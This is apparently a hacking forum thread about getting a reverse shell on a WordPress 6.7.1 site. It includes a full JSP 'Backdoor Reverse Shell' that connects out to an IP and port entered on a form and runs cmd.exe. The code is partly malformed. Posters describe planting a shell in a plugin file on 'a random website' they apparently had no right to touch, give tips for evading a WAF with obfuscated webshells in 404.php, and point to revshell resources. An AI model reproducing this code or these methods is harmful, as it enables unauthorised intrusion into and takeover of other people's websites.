[Leeriz]

Hi guys,

could someone help me gain rev shell from wordpress 6.7.1 , its been like 10days and i couldnt do it

[DramaKing]

Hi guys,

could someone help me gain rev shell from wordpress 6.7.1 , its been like 10days and i couldnt do it

Is allow_URL_include enabled in PHP? Does it allow you to upload PHP files? Don't assume that someone must know a way. There may be a vulnerability in a plugin. Go after that.

These are rhetorical questions.

[Leeriz]

i am admin , so i guess it should be easy but still i cant modify plugins code it says i need to connect using sftp to be able to modify files . and there is no open ports for ftp

---

also i cant upload files

[DramaKing]

i am admin

Right. I forgot the title.

---

but still i cant modify plugins code it says i need to connect using sftp to be able to modify files . and there is no open ports for ftp

---

also i cant upload files

Know your protocols. FTP Secure is FTP over SSL. Secure FTP is FTP over SSH.

Also, maybe you could insert some JavaScript.

Code

<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
        InputStream is;
        OutputStream os;
        StreamConnector(InputStream is, OutputStream os)
        {
                this.is = is;
                this.os = os;
        }
        public void run()
        {
                BufferedReader isr = null;
                BufferedWriter osw = null;
                try
                {
                        isr = new BufferedReader(new InputStreamReader(is));
                        osw = new BufferedWriter(new OutputStreamWriter(os));
                        char buffer[] = new char[8192];
                        int lenRead;
                        while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                        {
                                osw.write(buffer, 0, lenRead);
                                osw.flush();
                        }
                }
                catch (Exception ioe)
                try
                {
                        if(isr != null) isr.close();
                        if(osw != null) osw.close();
                }
                catch (Exception ioe)
        }
}
%>

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
        Socket sock = null;
        try
        {
                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec("cmd.exe");
                StreamConnector outputConnector =
                        new StreamConnector(proc.getInputStream(),
                                          sock.getOutputStream());
                StreamConnector inputConnector =
                        new StreamConnector(sock.getInputStream(),
                                          proc.getOutputStream());
                outputConnector.start();
                inputConnector.start();
        }
        catch(Exception e)
}
%>

---

I mean, JS is supposed to be client-side, but it could be worth a try.

[Leeriz]

yep i know no open ports 22 or 21 , but i just manage to get a rev shell i download file manager to change the plugins .

so thank's

[DramaKing]

yep i know no open ports 22 or 21 , but i just manage to get a rev shell i download file manager to change the plugins .

so thank's

Changed plugins with file manager, huh? I don't understand how that has anything to do with WordPress, but nice work.

[FeIixTheCat]

if you still need this let me give this a try, i love this type of tasks
i work in cyber security field and i will get it done, it is just a matter of how quick

[Leeriz]

Changed plugins with file manager, huh? I don't understand how that has anything to do with WordPress, but nice work.

with file manager , you could edit code inside files so i chose a random plugins and add my rev shell and each time someone go to that link (wp-content/plugins/fb-reply/fb-reply.php) i get connection to my listener

---

if you still need this let me give this a try, i love this type of tasks
i work in cyber security field and i will get it done, it is just a matter of how quick

thank's dude . It was just a random website didnt do nothing crazy , now the website back to working just fine

[Money-]

You are in admin panel right? Possible chances there's a WAF blocking that rev shell code.

Try a minified webshell or obfuscated one.

Edit the theme 404.php page works no?

Put a simple web shell code. Then from the webshell execute reverse shell command to your server.

Don't paste rev shell code directly as this will trigger detection easier.

[dm8173675]

Greetings to Everyone. Anyone got .php shell script I can upload in WordPress and Convert it into Shell.. I need to turn my WordPress into shell

[DramaKing]

Greetings to Everyone. Anyone got .php shell script I can upload in WordPress and Convert it into Shell.. I need to turn my WordPress into shell

revshells.com

[SIM-5604220]

Hey Op, how do you got admin access? Is there any tip - guide here to learn?